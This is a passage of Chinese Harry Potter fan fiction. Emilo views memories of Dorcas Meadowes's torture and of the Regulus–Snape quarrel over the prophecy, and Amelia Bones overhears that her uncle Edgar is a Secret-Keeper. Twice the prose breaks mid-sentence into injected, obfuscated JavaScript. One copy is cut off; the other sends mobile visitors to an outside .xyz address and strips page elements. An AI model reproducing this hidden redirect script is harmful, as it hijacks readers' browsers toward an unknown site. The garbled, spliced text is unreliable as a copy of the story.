动作很慢,很轻,甚至没碰到伏地魔的衣角就被一股无形的力量弹开,重重撞在笼子栏杆上,发出“咚”的闷响。可那瞬间的决绝,像一根针,猝不及防地刺进所有人的眼睛里。 伏地魔愣了愣,随即发出一声冰冷的嗤笑。“看来你是真的不想活了。” 他举起魔杖的瞬间,多卡斯的身体又绷紧了。这次不是因为痛苦,而是一种近乎本能的抵抗——她蜷缩起膝盖,用没断的那条腿死死蹬住笼子后壁,像是想把自己钉在那里,哪怕只是多撑一秒。 小精灵“哇”地一声哭了出来,却不敢发出太大声音,只是捂着嘴发抖,推笼子的手彻底脱了力,铁笼在地上歪倒,正好让埃米洛的视线从栏杆缝隙里,看清了多卡斯最后一瞬的眼神——那只右眼还亮着,像快要熄灭的烛火,却在彻底暗下去前,最后一次扫过周围那些冷漠的面具,扫过伏地魔那张狰狞的脸,带着一种近乎悲悯的、无声的唾弃。 绿光闪过的刹那,小精灵猛地闭上眼睛,浑身剧烈地抽搐起来。 “现在魔法界想让我死……因为我注定伟大,伟人总是被误认为恶人。”伏地魔的声音再次响了起来:“甚至产生了预言这种力量,但没有人知道,我在长生的道路上比誰都走的远。他们是——无法消灭我的。” “黑魔王万岁——”先是一个声音高叫到,然后是海浪一样,更多此起彼伏的声音:“黑魔王万岁——”“黑魔王万岁——”“我们用于追随您——”混乱中,皮普被艾弗里挥退了。 画面消失。埃米洛深吸一口气,把胸前的怀表贴近耳朵,跟着机械声小声默数。这是奥格登教给他的方法,防止自己沉溺于别人记忆的“锚点”。 他掐着怀表,在冥想盆的银色光芒中精确地平复了两分钟,也就是120秒,确定两者相差没有超过5,自己的情绪还适合继续。随即挥动着魔杖,再次集中意念,指挥着记忆的河流继续奔涌—— 这一次映入眼帘的是埃弗里拖地的、绣着暗纹的昂贵袍角。视野中是一座令人屏息的庄园内部走廊。高耸的天花板饰以繁复的镀金浮雕,墙壁是冰冷的深色大理石,每隔几步便悬挂着描绘着古老魔法场景的巨幅挂毯,空气里弥漫着陈年木蜡、干燥魔法植物和一种难以言喻的、属于纯血统家族的沉重威压。 埃米洛打了个响指,将这副画面作为证据留存。他们无声地停在一扇厚重的、由深色硬木制成的雕花木门前,门上的浮雕是缠绕的毒蛇与荆棘,在昏暗的光线下显得狰狞而压抑。 他听到了门内压抑着怒火的质问声。声音的主人很熟悉,埃米洛飞速的回忆了一下,小布莱克的声音。 “你究竟告诉了主人什么?!” 那声音不大,并非咆哮,带着一种极力维持自己体面的愤怒。 “那个预言内容到底是什么?为什么主人突然把目标从麻瓜转移到了那些……那些即将有新生儿的家庭?那些快临盆的孕妇身上?!” 每一个字都像是裹着冰棱的重锤,狠狠砸在死寂的空气里。 紧接着,一个截然不同的声音响起,冰冷、滑腻,熟悉的不耐烦和浓得化不开的讥诮——西弗勒斯·斯内普。 “我想你应该记着主人的话——” 他的声音刻意拉长,带着一种令人牙痒的、居高临下的提醒,“这不是底下人该问的问题。而我,也绝不会告诉你。” “不,我命令你……” “认清你的位置,大少爷,” 后三个字被他念得格外刺耳,充满了恶毒的轻蔑,“你现在无权命令我。自从我把消息传递给主人,我的职位就比你高了,比你们任何一个纯血都高。” 门内陷入一片令人窒息的死寂,仿佛连空气都凝固了。几秒后,雷古勒斯的声音再次响起,这一次,里面翻滚着一种尖锐刺骨的自我怀疑,以及近乎绝望的困惑: “……你不说,我自己猜猜看?” 他的声音低沉而破碎,好像什么一直以来的幻想破灭了:“这个月的任务集中攻击有婴儿的家庭……巫师界要出现所谓的‘救世主’了,是吗?主人竟然真的相信了?那个预言的前置条件是什么?……西弗勒斯!” 他的声音陡然拔高,带着一种撕裂般的痛苦,“你没有想过这会造成什么后果?!”最后一句几乎是低吼出来的,放弃了一贯的风度。 “后果?” 斯内普的声音听起来随意而冰冷,仿佛在谈论窗外的天气,与他口中血淋淋的事实形成骇人的反差,“我需要考虑什么后果?” “导致妇女孕妇,儿童被害!你自己不觉得自己可憎么?!” “你在说什么啊?”西弗勒斯像是听到了什么荒谬的东西。 “我只跟随着他的指令提供魔药,打探消息。预言是我碰巧听到的,大家都上过学,都知道那东西信则有,不信则无。只是悬乎玩意儿算不了数。我也没想到他会如此……重视。” 他发出一声短促而毫无温度的嗤笑,“至于后续的这些命令、这些行动……” 他刻意停顿了一下,声音里带上一种精心表演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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埃弗里这才整了整自己一丝不苟的衣襟,轻飘飘的说道。 他脸上还残留着未褪尽的恶意笑容,抬脚走进房间,看着站在房间中央、背对着门口、肩膀剧烈起伏、脸色铁青得如同大理石雕像的雷古勒斯,用一种刻意放轻松的、油滑得如同涂抹了润滑油的腔调劝道: “哎呀呀,吵什么呢?何必跟他一般见识?他就是最近两天仗着主人器重飘了……一个混血跟你呛声,他可真行。” “好啦……气消消,把这次任务完成好了,主人满意了,让他叫你爸爸。” 雷古勒斯闭上眼,胸膛深深起伏,仿佛要将肺里所有的空气都挤压出去。他再次深吸一口气,那吸气声带着一种溺水般的沉重。再次开口时,声音里充满了一种筋疲力尽、万念俱灰的烦躁: “…你去吧。今天的任务……我不去了。主人那边……我会自己请假。” 每一个字都像是耗尽了他最后的气力。 埃弗里夸张地、长长地叹了口气,走上前,用一种故作亲昵的姿态拍了拍雷古勒斯僵硬的肩膀,语气带着一种假惺惺的安抚: “行吧行吧。别太往心里去,快结束了,不是吗?” 他故意用一种谈论天气般轻飘飘、毫不在意的语气,丢出了那句如同淬毒匕首的话:“放心啦,不是杀光所有,只有七月的啦七月。圣芒戈记录的要七月出生的小孩儿本来就没几个。” 雷古勒斯猛地睁开眼!他的瞳孔在瞬间收缩如针尖,身体难以抑制地剧烈颤抖了一下,仿佛被一柄无形的、烧红的烙铁狠狠贯穿了心脏,连呼吸都停滞了。 埃弗里似乎极其满意对方这剧烈的反应,眼中闪过一丝残忍的快意。他凑得更近,几乎是将那张带着虚伪笑容的脸贴到了雷古勒斯的耳边,用一种只有两人能听清、却又足以让附耳偷听的小精灵捕捉到的、如同毒蛇吐信般的音量,带着一种终于撕下所有伪装的、赤裸裸的恶意和嘲弄,低语道: “何况——” 他故意拖长了调子,享受着对方的痛苦,“我觉得你还是跟我走吧,雷尔。毕竟,你跟我们这种混子……又不一样。” 他刻意停顿,让“不一样”三个字在空气中发酵出恶毒的意味,“你有个在凤凰社‘大放异彩’的老哥,不是吗?” 他终于控制不住地低笑出声,露出一口不甚雅观的黄牙,那笑声里饱含的恶意几乎凝成实质,粘稠得令人窒息。“听我爸爸说,你父亲(奥赖恩)年轻时就……嗯,有点犹豫,拒绝了主人的第一次邀请?现在你哥哥又这样……”他摇了摇头,搭在雷古勒斯肩上的手非但没有收回,反而带着一种令人作呕的假意亲密,加重了力道,像是在安抚,更像是在施压。 “你夹在中间,根本逃不开的。只是几个七月份的孩子,” 他的声音压得更低,带着一种恶魔般的诱惑和轻佻的怂恿,“现在不处理干净,等孩子生出来……麻烦就更大了。反正还是那句话……” 他最后几乎是贴着雷古勒斯的耳廓,用一种谈论丢弃垃圾般的残忍轻快,补上致命一击:“又不是很多,不是吗?” 记忆的银流在此处如同被投入滚烫巨石的冰湖,瞬间剧烈翻涌、沸腾、扭曲!眼前的景象——雷古勒斯惨白如纸的侧脸、埃弗里那张写满恶毒的脸、那间压抑的房间——如同被一只无形巨手狠狠揉碎,色彩和线条疯狂地搅动、拉伸、模糊,最终归于一片狂乱混沌、令人眩晕的银色漩涡。 埃米洛的意识像是被巨浪抛出,猛地从冥想盆那冰冷的、水银般的液体中抽离出来。他踉跄了一下,手指紧紧抓住盆沿,指节因用力而发白,胸膛剧烈起伏,仿佛刚从一场溺毙的噩梦中惊醒。 “怎么回事?——”克劳奇站了起来。 “这个小精灵死了!他的情绪破碎了!”一个巫师快速上前:“他接受不了背叛主人,内心被煎熬和痛苦填满,现在爆裂了!小精灵和巫师不一样,他死了,他的记忆也就没了——” 审讯室里,没有人关注那个死去的小精灵。所有人的目光都像探照灯一样,死死聚焦在脸色苍白、惊魂未定的埃米洛身上,他此刻就是这场无声风暴无可争议的中心。阿米莉亚紧抿着毫无血色的唇,有些担忧的看着他。老巴蒂·克劳奇脸上没有任何表情,像一尊冰冷的石雕,等待着下属的汇报。小巴蒂嘴角噙着一丝若有若无、心满意足到了极点的微笑,那双眼睛亮得惊人,燃烧着狂热和一种扭曲的兴奋,仿佛看到了最精彩的戏剧高潮。 所有人都等待着他的回答。 带着压力的注视下,他的情绪反而从刚才的两段记忆中跳脱出来,逐渐冷静。 “你知道么?埃米洛。”他听到了奥格登的声音,感觉他在拍自己的头。那是第几节课?是了,第二节…… 老师的声音继续流淌,带着一种过来人的、语重心长的沉缓:“我的上一个学生,也是一个聪明小子,曾经跟我吵了一架。他觉得在记忆注销办公室混日子,只需要学会最基础的‘牵引记忆’,能精准地施展‘一忘皆空’,应付日常那些麻瓜目击者就足够了。顶多,再学会熟练使用冥想盆,方便将来往傲罗办公室审讯员的方向转岗。” “对于绝大多数巫师,对于只想安稳度日、按部就班的人来说,他说的没错,这确实够啦。” 紧接着,他的声音变得严肃而深沉:“但我仍然希望你能多学一点,再多学一点……孩子,我们这一行,表面上看,大多数时候不过是给上头编造一个又一个冠冕堂皇的瞎话,用记忆的碎片缝补他们想要的‘真相’。我们躲在纸堆和遗忘咒后面,像个无声的清洁工。” “但是,总有那么一些极其罕见的时刻——当历史的齿轮咬合到最关键的节点,当真相被重重迷雾彻底掩埋,当无辜者将被推入深渊,或者滔天的罪恶即将被永久粉饰——我们手中的笔,我们操控记忆的能力,就成了唯一能撬动那块巨石、改变命运轨迹的支点。那一刻,我们不再是清洁工,而是……握着无形钥匙的人。我们就是关键!” “记住,孩子。” 脑海中的声音仿佛近在咫尺,那只无形的手掌带着更重的力道,再次“拍”在了他的头顶。这现实中并不存在的一拍,如同惊雷贯耳,又似清泉灌顶。 “记忆如刀,莫伸恶手;悬顶之时,更需三思……” 他跟着奥格登的声音,在心里默念道。直起了身子,感觉有光照在了自己身上。 “哎……我又说了这么多,年纪大了总是唠唠叨叨。年轻人……慢慢体悟吧……” 25.电车难题一 本章阅读前可以先看作话,不看也不影响阅读,谢谢大家! “电车难题迫使我们直面‘公正’的三种路径:功利主义的计算、自由主义的权利至上,以及亚里士多德式的德性伦理。答案无关对错,而在于你选择为何种价值辩护。” —— 迈克尔·桑德尔,《公正:该如何做是好?》 1980年6月10日,黄昏。 阿米莉亚幻影移形到伯恩斯家那扇熟悉的、被常春藤缠绕的院门前,屋内的暖黄色灯光透过窗户,在夏夜微凉的空气中晕开一小片令人心安的光芒。 她在门前站了很久,刚下定决心准备敲门,门框后便“嗖”地探出一个小脑袋。 “嗨喽啊,表姐!” 表弟安迪·伯恩斯顶着一头乱糟糟的棕色卷发,脸上挂着大大的、刻意挤出来的鬼脸,眼睛瞪得溜圆,舌头吐得老长,“我美丽的大表姐今天找到对象了么?” 没等阿米莉亚回答,他就自顾自地拖长了调子,带着小男孩特有的促狭大声宣布:“看来没有——!告诉她哦,她的弟弟已经领先她15年了——” “安迪!” 埃德加·伯恩斯沉稳的声音从客厅传来,带着一丝无奈的笑意和不容置疑的威严。他的身影出现在安迪身后,大手轻轻按在男孩头上,揉了揉那堆乱发,“我对你说过什么?女士的年龄和情感都是最值得尊重,不能瞎说的东西。” 安迪缩了缩脖子,吐吐舌头,但鬼脸还没完全收起,只是收敛了些许。 “这孩子其实每天扒在门框看你回不回来,可想你了(安迪大叫着没有)”埃德加拎走了她手里沉重的包:“快进来——” 婶婶贝丽尔·伯恩斯从厨房快步走出,腰上还系着沾了点番茄酱的围裙。她上下打量着阿米莉亚,眼中满是关切,“吃饭没?工作累不累?等着啊,我给你热饭吃——刚做了番茄炖牛腩,锅里还温着呢,香得很!” 说着就要转身回厨房。 “不用了不用了,婶婶,”阿米莉亚急忙开口,“我吃过了,真的。” “哎呀!再吃一点!” 贝丽尔婶婶不容分说地拉住她的胳膊,力道温和却坚决,眼神在她略显苍白的脸上扫过,“看你最近都瘦了!下巴尖得能戳人!肯定是克劳奇那个工作狂又折磨你了!快进来,坐下歇歇,喝口水也好。” 阿米莉亚拗不过,顺从地换了鞋。鞋柜里,她那双印着小狗图案的旧拖鞋依旧摆在熟悉的位置。客厅的墙壁上,挂着许多照片,很多都是她的:从霍格沃茨入学时紧张的推着行李去车站,到N.E.W.Ts考试通过后站在魔法部大厅宣誓的意气风发。 沙发上,安迪刚才搂着的泰迪熊,正是她小时候最宝贝的那只,耳朵都缝补过两次了。她走到厨房角落那个施放了强效冰冻咒的矮柜前打开,里面整整齐齐码着她最喜欢的冰镇南瓜汁和黄油啤酒。一切都那么熟悉,那么安稳,像一层柔软的毯子,将她疲惫紧绷的神经缓缓包裹。 “苏珊呢?” 阿米莉亚放轻了声音,看向婴儿房的方向。 “房间里睡着了。” 埃德加坐在壁炉边的扶手椅上,手里拿着一份《预言家日报》,但显然没在看。他抬起头,镜片后的目光温和,“没事,那孩子特别能睡,而且睡得沉,打雷都吵不醒似的,特别乖。” 他嘴角露出一丝笑意,看了看旁边又开始偷偷扮鬼脸的安迪,“跟这臭小子一点都不一样。倒是像你小时候,安安静静的。” 阿米莉亚勉强笑了笑,那笑容有些飘忽。 “我今天刚给你换了三件套——” 贝丽尔婶婶的声音从厨房传来,伴随着锅碗瓢盆的轻响和令人垂涎的浓郁香气,“粉蓝色那套,你最喜欢的!一会儿别走了,多麻烦啊!直接明天从这里去魔法部!房间都给你收拾好了!” 阿米莉亚坐在餐桌旁,面前是婶婶硬塞给她的一小碗热气腾腾、汤汁红亮、牛肉软烂的炖菜。她小口吃着,熟悉的味道在舌尖弥漫开,最初带来的是纯粹的慰藉和满足,胃里暖洋洋的。但吃着吃着,那股暖意却像被什么东西堵住了,无法顺畅地流向四肢百骸。 她的鼻子猛地一酸,视线瞬间模糊。 “哎呀!” 一直坐在对面陪着她、慈爱地看着她吃饭的贝丽尔婶婶吓了一跳,连忙放下手里的毛线活儿,“怎么了?莉亚?怎么哭了?埃德加——!” 埃德加立刻放下报纸,快步走过来,沉稳的脸上也带着明显的担忧。贝丽尔婶婶手忙脚乱地抽纸巾,想给她擦眼泪。客厅里正蹑手蹑脚想凑过来的安迪也僵在原地,抱着他的泰迪熊,瞪大眼睛看着突然哭泣的姐姐,脸上那点调皮劲儿全没了,只剩下懵懂和一丝紧张。 “梅多斯老师……找见了……”阿米莉亚用力抹了一把眼泪,声音带着浓重的鼻音和压抑不住的颤抖。她深吸一口气,试图控制情绪,抬眼看到安迪还在看,下意识地用带着哽咽的严厉口吻轻斥道:“这么晚了还不睡觉,将来长不高!睡觉去!” “什么啊,你这么老了还哭鼻子——”安迪小声嘟囔了一句。 “听姐姐的话,安迪!”埃德加的声音沉了下来,带着不容置疑的威严,“睡觉去,回你自己的房间。现在。” 小男孩儿不情不愿地“哦”了一声,抱着泰迪熊,一步三回头地磨蹭回自己房间,轻轻关上了门。 餐桌上只剩下三个人,空气凝重得几乎能拧出水。阿米莉亚低着头,手指无意识地抠着碗沿,仿佛那里有她急需抓住的支撑点。 “她被神秘人亲手杀死了……” “还有另外一件事……”她艰难的开口道:“神秘人在杀小孩子。”话语像一块巨石投入死水,“埃弗里的案子之后,一个食死徒,用减刑作为要求,说出了神秘人后面的计划……” 她抬起头,眼睛红肿,里面充满了恐惧和一种近乎绝望的疲惫,“现在为了不引起社会恐慌,魔法部封锁了消息,没有公布细节,我也只是知道布置给我的那一部分。但我猜测,神秘人他开始谋杀小孩儿和产妇了……!以及刚出生的婴儿!”她的声音陡然拔高,带着撕裂般的恐惧,“我担心你们……担心苏珊!我害怕……我……” 她剧烈的呼吸起来。 “……冷静一下,莉亚。冷静一下。”埃德加在她身边坐下,宽厚温暖的手掌放在她因激动而微微颤抖的肩膀上,试图传递一些力量。他的声音依旧沉稳,但镜片后的眼神锐利而凝重,“神秘人为什么要这么做?你知道么?” “谁知道啊!”阿米莉亚像是被点燃了,猛地抬起头,泪水再次汹涌而出,“那种疯子的思想怎么可能和常人一样?!” “他可能想从根子上灭绝!从这一代开始屠杀,最后只剩下服从他的、那些纯血家族的小孩儿……!!你们最近别带苏珊去圣芒戈了——太不安全了!那里登记了那么多新生儿和产妇信息!那就是靶子!”她的声音因为激动而变得尖锐。 “真的太可怕了……”她像是耗尽了力气,身体软软地向前倾,额头抵在冰冷的桌面上,声音闷闷的,带着劫后余生般的虚弱和深入骨髓的寒意,“你们不知道……埃米洛把梅多斯老师被折磨的记忆放出来的时候……那画面给有……多残忍。她被关在笼子里,被打断骨头,被钻心咒折磨,被羞辱。神秘人亲手杀死她的时候”她哽咽着,肩膀剧烈抽动,“我竟然觉得那是种解脱……叔叔……” 她抬起头,泪眼婆娑地看着埃德加,“我现在真的理解你为什么当年那么坚决地阻止我去傲罗办公室了……” “哦,我的利亚。”贝丽尔婶婶再也忍不住,绕过桌子,紧紧地抱住了她,像小时候哄她睡觉那样,轻轻拍着她的背,声音也哽咽了,“你一定吓坏了……太难为你了……” “……我真的很喜欢梅多斯老师……”阿米莉亚埋在婶婶温暖的怀抱里,像个迷路的孩子,闷闷地说。 埃德加和贝丽尔无声地交换了一个眼神,他们像安抚一只受惊过度的小兽,一遍遍地、轻柔地捋着她的背。 许久,阿米莉亚的抽泣才渐渐平息下来,只剩下疲惫的余波。 她不好意思地抬起头,眼睛红肿得像桃子。 “我去睡觉了。”最后,她只能用这个借口避开他们的目光。 伯恩斯夫妇看着她的背影,进房前,她回过头,有些羞涩地、带着点孩子气地小声问贝丽尔,“今天晚上……我能跟你一起睡么,婶婶?我……我有点想你们了……” “哎呀!当然可以,傻孩子!”贝丽尔婶婶立刻露出欣慰又心疼的笑容,用力捏了捏她的手,“快洗把脸,我去铺床!” 躺在婶婶身边,嗅着她身上令人安心的、混合着淡淡肥皂和厨房烟火气的熟悉味道,阿米莉亚紧绷的神经终于得到了一丝放松。疲惫如潮水般将她淹没,她很快沉入了睡眠。 然而,这份安宁是短暂的。那些强烈刺激和深埋的恐惧并未消散,它们化作扭曲的梦魇,在她意识深处肆虐。冥想盆冰冷的银光、小精灵皮普爆裂的声响、梅多斯老师那只凝固着荒芜与嘲弄的右眼、还有那道无法逃避的绿光……交织缠绕。画面骤然切换——审讯室单向玻璃后埃弗里那张虚伪的脸扭曲成了伏地魔,天花板上倒吊着的、鲜血淋漓的孕妇,那张痛苦的脸庞竟然变成了贝丽尔婶婶!她发出无声的尖叫…… “不——!”阿米莉亚猛地惊醒,心脏在胸腔里狂跳得像要炸开,冷汗瞬间浸透了睡衣。她下意识地抬手一摸旁边的床铺——空的!冰冷的!巨大的、毫无理性的恐惧如同冰冷的铁爪瞬间攫住了她的心脏! 不会的……不会吧?!食死徒……他们找到这里了?婶婶……叔叔……苏珊……安迪…… 这个念头像毒蛇一样噬咬着她。她甚至来不及思考,身体比意识更快行动,光着脚跳下床,只记得本能地紧紧抓住枕边的魔杖,像抓住唯一的救命稻草。猛地推开房门,心脏几乎要从喉咙里跳出来。 客厅里一片漆黑,寂静无声。厚重的窗帘隔绝了月光,只有家具模糊的轮廓,像蛰伏的怪兽。刚才梦境中的画面——天花板上倒吊的婶婶、满地的鲜血——与现实重叠,几乎让她窒息。极度的恐惧让她的指尖冰凉,魔杖在她手中微微颤抖,她甚至能听到自己血液在耳中轰鸣的声音。精神紧绷的弦,仿佛下一秒就要彻底崩断。 就在这令人窒息的绝望边缘,一丝微弱却温暖的光线从主卧的门缝下透了出来。 阿米莉亚像被抽干了所有力气,双腿一软,无声地滑坐在地板上,背靠着冰冷的墙壁。冰冷的触感让她混乱的大脑找回了一丝现实感。她大口大口地喘着气,仿佛刚从深水中挣扎出来,冷汗顺着鬓角滑落。 还好……只是梦……还好……还好…… 她一遍遍在心里默念,试图平复那几乎跳出胸膛的心跳。 别担心,阿米莉亚,别担心。她对自己说,指甲深深掐进掌心,用痛感强迫自己镇定。克劳奇已经在行动了……魔法部知道了,他们会保护他们的……一切还有希望。 她努力说服自己,刚抬脚准备回房间继续休息,主卧里传出了刻意压低、却因情绪激动而无法完全掩饰的对话声。 “太危险了,埃德加……你竟然同意了?”是婶婶贝丽尔的声音,带着浓重的哭腔和难以置信的恐惧,“这……这简直是……” “……”长久的沉默,沉重得仿佛能压垮空气。半晌,埃德加叔叔疲惫而沙哑的声音才响起,带着一种深深的无力感:“最先开始,我们也觉得邓布利多是在和我们开玩笑。毕竟,很多人都觉得,预言……是一种虚无缥缈、甚至可笑的东西。” 他似乎在艰难地寻找着措辞。 预言?阿米莉亚的呼吸瞬间停滞了。 “他们……他们不能自己做保密人么?”贝丽尔的声音带着绝望的哽咽,像溺水者抓住最后一根稻草,“弗兰克和爱丽丝……他们自己不行么?我……我不愿意这么自私,但是……我真的不能看着你……看着你往火坑里跳啊,埃德加……” 她的声音破碎了。 “自己做保密人只能保密住宅,贝丽尔。”埃德加的声音低沉而苦涩,像在陈述一个残酷的定律,“只有让别人来做保密人才能彻底地、真正地‘保密’那个被保密的人本身。让追踪者无从下手。” “但是,这样做确实是正确的。”他故作轻松的笑了一下,声音里却也充满了无法化解的悲伤,“神秘人以为保密人是弗兰克的好朋友,是梅多斯,所以他们才对她……但梅多斯不是。保密人是我。所以隆巴顿夫妇……他们现在暂时还是安全的。” “确认就是他们了么?”贝丽尔的声音充满了不忍和巨大的悲伤,“弗兰克和爱丽丝……他们还那么年轻……那个孩子……还没出生就要……” “七月出生的孩子,父母三次击退过食死徒的家庭……满足条件的太少了,少到几乎没有。”埃德加的声音充满了疲惫和一种宿命般的沉重,“但现在看来……神秘人不止在筛选符合条件的家庭。他想把所有可能的孩子都扼杀在母体里,只要七月没有孩子出生,预言就不可能成真。” 他顿了顿,声音里透出一丝庆幸,却也更加悲凉,“幸好,幸好魔法部现在也知道了这个动向。光靠凤凰社的力量……远远不够啊。” “那么那个孩子呢?”贝丽尔的声音颤抖着,“他如果出生……他难道一出生……就要被送到绞刑架上么?就要背负整个世界的命运?他才那么小……” 埃德加再次陷入了长久的沉默,这次的时间长得让门外的阿米莉亚几乎以为他不会再开口。空气凝滞得令人窒息。终于,他极其艰难地、仿佛每个字都重若千钧地吐露:“关于这个……孩子和预言……其实凤凰社里,虽然现在只有……很少的人知道。但是大家有明显的矛盾和对立……” “梅林呐……”贝丽尔发出一声痛苦的低呼。 “西里斯……小天狼星,”埃德加的声音带着一丝复杂,“他跟邓布利多吵了一架。非常激烈。他认为战争不管怎么样都不能让一个婴儿来承担,这有悖于最基本的道义。邓布利多……”他叹了口气,语气充满了困惑。 “没人能知道他真正的想法。我当然相信他是对抗黑魔头、追求和平的最大力量。但是……不过他告诉了我们赤胆忠心咒,他应该也是不想让那个孩子……的吧。” “那你呢?埃德加……”贝丽尔紧紧追问,“你呢?你怎么想?你相信那个预言吗?你愿意让一个婴儿成为战争的牺牲品或者武器吗?” 阿米莉亚背靠着冰冷的墙壁,无声地、剧烈地呼吸着,仿佛一条被抛上岸的鱼。心脏像是被一只无形的大手狠狠攥住,然后又被投入了冰火两重天。之前在审讯室看到、克劳奇布置给自己的任务。此刻被叔叔的话语狠狠砸碎、重组、拼凑出一个令人惊骇又恍然大悟的真相! 原来如此!一切都连上了,从食死徒口中得到的关于伏地魔转移目标的信息,竟然只是冰山一角!神秘人如此丧心病狂地追杀孕妇和婴儿,不是因为清理血统的疯狂计划,而是因为……一个预言!一个指向他终结者的预言! 她猛地想起那天布德罗里克提过的理论:预言是群体意志的魔法体现。现在,这个魔法,可能很快就要应验了。巫师界渴望和平、渴望终结恐怖的集体意志,凝聚成了这个预言。 一股巨大的狂喜和如释重负瞬间冲刷过她的心脏。 巫师界渴望和平的意志从未消失,它甚至强大到足以形成预言!战争的投机者,伏地魔,他注定要失败!这个认知让她几乎喜极而泣,长长地、无声地舒了一口气,一直紧绷的肩膀微微垮塌下来。 但紧随其后的,是更浓烈、更冰冷的荒谬感和……巫师们的群体意愿,是有一个“救世主”来替他们解决问题,来承担这一切?用一个婴儿的生死,来换取他们的和平? 这……很正常。她试图用理智说服自己,冰冷的墙壁刺激着她的脊背。她也曾经在夜晚祈祷过,梅林啊,来个人制止这一切吧。 不然呢?让战争无休止地打下去?让自己珍视的人,像梅多斯老师那样,继续流血牺牲么? 但是……但是那是个孩子!那个现在还在母亲腹中沉睡的小隆巴顿!他何其无辜?!他一出生,甚至尚未出生,就被迫卷入了这场最残酷的战争漩涡中心。他的命运,可能只有两个极端:要么夭折在襁褓,要么背负着整个世界的期望和伏地魔无休止的追杀活下去,成为一件活着的武器……他的人生,还未开始,就已经被染上了无法洗刷的悲剧色彩。 “我不愿意。” 叔叔埃德加那疲惫而坚定的声音再次穿透门板,清晰地传入她耳中:“所以我听了小天狼星的……暂时同凤凰社那边断了联系……” “让无辜的小孩子承受这些……哎,战争本来就存在,这本来就是我们这些大人要解决的事。我也相信,没有预言的力量,没有那个特定的‘救世主’,只要我们坚持下去,团结一致,战争最后也会赢……” “但这会让你自己陷入致命的危险!” 婶婶贝丽尔带着哭腔的尖叫,如同尖锥刺破了阿米莉亚最后的防线,也精准地道出了她内心最深处的恐惧和自私。是啊,叔叔成为了保密人!他成为了伏地魔最想找到、最想撕碎的目标之一!为了保护那个可能存在的“希望”,他把自己放在了祭坛之上! 阿米莉亚·伯恩斯在这一晚,背靠着叔叔家冰冷的墙壁,光脚坐在黑暗的地板上,深刻地、痛苦地感受到了人性是多么矛盾且自私的生物。 当电车难题以最残酷的方式摆在面前,一端是至亲的安危,另一端是无数陌生人的未来和一个无辜婴儿的命运,她发现自己根本无法做出纯粹的选择。她既想要叔叔平安,又想要这场该死的战争立刻结束,还想要那个小婴儿像普通孩子一样拥有平凡的人生,想要保护所有圣芒戈里那些素不相识的产妇和婴儿……她什么都想要,却又清楚地知道,这根本不可能。 究竟怎么做才是对的?服从大局牺牲少数(可能至亲会有危险)?还是保护至亲,任由局势滑向未知的深渊?她找不到答案。巨大的精神消耗和情绪过山车让她感觉身体被彻底掏空,一种深入骨髓的疲惫感排山倒海般袭来。眼皮沉重得像灌了铅,冰冷的墙壁也无法再支撑她。意识在激烈的思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039504|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想斗争和极度的疲倦中渐渐模糊、沉沦。她甚至没力气爬回床上,就这么靠着冰冷的墙壁,在黑暗的走廊里,在亲人近在咫尺却又无比遥远的低语声中,陷入了深沉的睡眠。 --- 埃米洛站在法律执行司新分配的办公室门口,手里捏着一张新的公职徽章。边缘硌着指腹,上面一行清晰的烫金字体反射着走廊顶灯冰冷的光: 魔法法律执行司审讯处副主任——埃米洛·德蒙特。 又回到这里了。他推开门,一股混杂着新家具木材气味和旧纸张尘埃的味道扑面而来。房间比他在记忆注销办公室的格子间宽敞些,但也仍旧是克劳奇那种冷硬的装修风格。一张宽大的胡桃木桌占据中心,上面空荡荡的,墙壁是魔法部一贯的灰色调,沉闷得如同凝固的湖水。唯一的光源来自天花板悬挂的球形魔法灯,投下缺乏生气的惨白光晕。 他将怀里最后一摞文件轻轻放在桌角。这不再是那些记录着麻瓜目击者惊奇面孔、只需一个“一忘皆空”就能抹平的档案了。 《圣芒戈及潜在高危孕妇/新生儿家庭保护计划执行细则(修订版)》 文件下方,压着一份冗长的名单。每一个名字背后,都是一个在恐惧阴影下孕育着希望的生命,一个即将被卷入残酷命运漩涡的家庭。这份名单的诞生,源于他在冥想盆中看到的血淋淋的画面,源于他权衡利弊后做出的那个冰冷决定。 他不知道自己做的对不对。 那天在审讯室,时间像被压缩成了滚烫的铅块。小精灵皮普的死亡带来一片混乱,所有人的目光都如同探针般扎在他身上,要求一个结果。 没有时间给他犹豫和深思熟虑。他几乎是凭着本能,在记忆银流消散前的最后一刹,用无声咒精准地“剪”掉了所有有关于“预言”的部分。他将涉及预言核心内容——尤其是伏地魔对“预言”的重视、雷古勒斯和斯内普对话中透露的“七月出生”这一关键筛选条件的那段记忆,从自己的表层意识中剥离、封存。 那一瞬间,大脑皮层几乎是撕裂般的疼痛。高阶的“记忆删除术”几乎让他站不稳,但还好那时候他被“炸”出冥想盆,本来就脸色惨白,替他做了掩饰。 然后,他遵循着记忆审查员面对高风险记忆后的标准流程,在众目睽睽之下,毫不犹豫地拿起审讯桌上那杯备用的吐真剂,一饮而尽。冰冷的魔药滑入喉咙,带来一阵短暂的麻痹感。在吐真剂的绝对效力下,“诚实”地汇报了记忆内容:伏地魔的残忍、多卡斯的牺牲……但没有食死徒的计划,也没有预言。 原因无他,说出去伏地魔的计划和预言的部分都将让他必死无疑。这天大的秘密不是他一个小职员该知道、该透露的!那帮食死徒会发了疯的寻找他,杀了他,杀了这个把主人秘密告诉整个巫师界的人!他不知道庭审现场有多少神秘人的眼睛……但最直观的,这里有埃弗里家的陪审人员和律师! 可无辜的孕妇也不能一尸两命,该关进阿兹卡班的罪犯也不应该就这么逍遥法外!但他一个人,渺小如尘埃,怎么可能保护得了所有可能的目标?他只能借助魔法部这台庞大的、即使内部争端不断却依然拥有力量的机器,借助克劳奇的力量。 